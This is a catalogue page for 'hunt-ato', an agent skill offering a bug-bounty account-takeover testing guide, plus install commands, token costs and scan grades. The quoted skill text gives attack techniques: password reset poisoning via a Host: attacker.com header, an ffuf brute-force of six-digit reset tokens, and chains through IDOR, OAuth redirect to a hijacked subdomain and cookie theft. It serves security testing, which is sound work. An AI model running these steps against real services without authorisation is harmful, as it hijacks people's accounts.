hunt-ato

hunt-ato is a skill for Claude Code, Codex from adriannoes/awesome-agentic-ai. It costs 222 tokens per session (1,066 once invoked), scanned A, original, MIT.

A security testing guide for account takeover, where flaws allow an attacker to gain control of another person's account.

In plain words
What is it for?
Use it to test reset tokens, reset-link redirects, token leaks, re-authentication checks, OAuth account linking, and MFA bypasses.
Why use it?
It organizes common weaknesses in password resets, email changes, OAuth linking, and multi-factor authentication.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it to test reset tokens, reset-link redirects, token leaks, re-authentication checks, OAuth account linking, and MFA bypasses.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/adriannoes/awesome-agentic-ai/hunt-ato
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add adriannoes/awesome-agentic-ai --skill hunt-ato
Clone the repo
git clone --depth 1 https://github.com/adriannoes/awesome-agentic-ai

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for hunt-ato

README.md
[![agentmods](https://agentmods.dev/badge/skills/adriannoes/awesome-agentic-ai/hunt-ato/github.svg)](https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/hunt-ato)
Your own site
<a href="https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/hunt-ato"><img src="https://agentmods.dev/badge/skills/adriannoes/awesome-agentic-ai/hunt-ato/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for hunt-ato

Your own site · 80×15
<a href="https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/hunt-ato"><img src="https://agentmods.dev/badge/skills/adriannoes/awesome-agentic-ai/hunt-ato.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 222 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,066 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 1 finding, up to medium

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • medium Data Exfiltration · line 19
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00222 $0.01066
Opus 5 $0.00111 $0.00533
Sonnet 5 $0.00044 $0.00213
Haiku 4.5 $0.00022 $0.00107

Measured 8d ago against content hash 729acb269d65, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

hunt-ato scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

cursor-claude-codex/skills/bug-hunter/skills/hunt-ato/SKILL.md · 59 lines

How it starts

The opening of the file, as written. The whole thing — 59 lines — stays where its author put it; the contents beside it link to each section on GitHub.

13. ATO — ACCOUNT TAKEOVER TAXONOMY

Path 1: Password Reset Poisoning

POST /forgot-password
Host: attacker.com          # or X-Forwarded-Host: attacker.com
[email protected]
# Reset link sent to attacker.com/reset?token=XXXX

Path 2: Reset Token in Referrer Leak

GET /reset-password?token=ABC123
→ page loads: <script src="https://analytics.com/track.js">
→ Referer: https://target.com/reset-password?token=ABC123 sent to analytics

Path 3: Predictable / Weak Reset Tokens

# Brute force 6-digit numeric token
ffuf -u "https://target.com/reset?token=FUZZ" \
     -w <(seq -w 000000 999999) -fc 404 -t 50

Path 4: Token Not Expiring

Request token → wait 2 hours → still works? = bug
Request token #1 → request token #2 → use token #1 → still works? = bug

Path 5: Email Change Without Re-Auth

PUT /api/user/email
{"new_email": "[email protected]"}   # no current_password required

ATO Priority Chain

  • Critical: no-user-interaction ATO
  • High: requires one email click OR existing session
  • Medium: requires phishing + user interaction
  • Low: requires attacker to be MitM

  • hunt-idor — The most reliable ATO primitive that requires no email control and no race. Chain primitive: PATCH /api/users/{victim_uid} with attacker session + victim UID + {"email":"[email protected]"} → trigger password reset → reset email arrives at attacker → full ATO with zero victim interaction (Critical path).
  • hunt-mfa-bypass — Password reset / email change without re-auth is only Critical if it bypasses MFA too. Chain primitive: password-change endpoint accepts new password without current-password challenge AND without MFA step-up → cookie theft (XSS or token leak) + password oracle (timing diff on login) → set new password from stolen cookie → MFA-less ATO from any IP/device.
  • hunt-oauth — OAuth misconfigurations are the highest-yield no-interaction ATO path. Chain primitive: OAuth redirect_uri validation accepts subdomain match (*.target.com) + hunt-subdomain reveals a dangling CNAME on staging.target.com → claim that subdomain on Heroku/S3 → host an OAuth callback there → victim clicks crafted authorize URL → code lands on attacker subdomain → exchange for token → ATO.
  • hunt-misc — Host-header injection on password reset is the canonical Path 1 primitive. Chain primitive: POST /forgot-password with Host: attacker.com (or X-Forwarded-Host) → reset email constructs link from request Host header → link points to attacker.com/reset?token=XXXX → victim clicks → token leaked to attacker → ATO.
  • security-arsenal — Pull the Password-Reset Bypass Tables for host-header variants (X-Forwarded-Host, X-Host, X-HTTP-Host-Override, dual-Host smuggling), token-entropy payloads (sequential numeric, time-based predictable), and the always-rejected list for "rate-limit on /forgot-password" reports.
  • triage-validation — Run the Pre-Severity Gate before claiming Critical on an ATO that requires the victim to click a link AND enter credentials AND complete CAPTCHA. The reproducibility step (10-minute fresh-browser walkthrough on test account B from attacker A's session) is what separates Critical-paid from Self-XSS-tier rejected.

Read the full file on GitHub · 59 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 59 lines · 222 tokens per session scan A 729acb269d65

Subscribe to this mod's changes

hunt-ato is a skill published in the GitHub repository adriannoes/awesome-agentic-ai (57 stars, last pushed 13d ago), licensed MIT. It adds 222 tokens to every session and 1,066 once invoked, about $0.0011 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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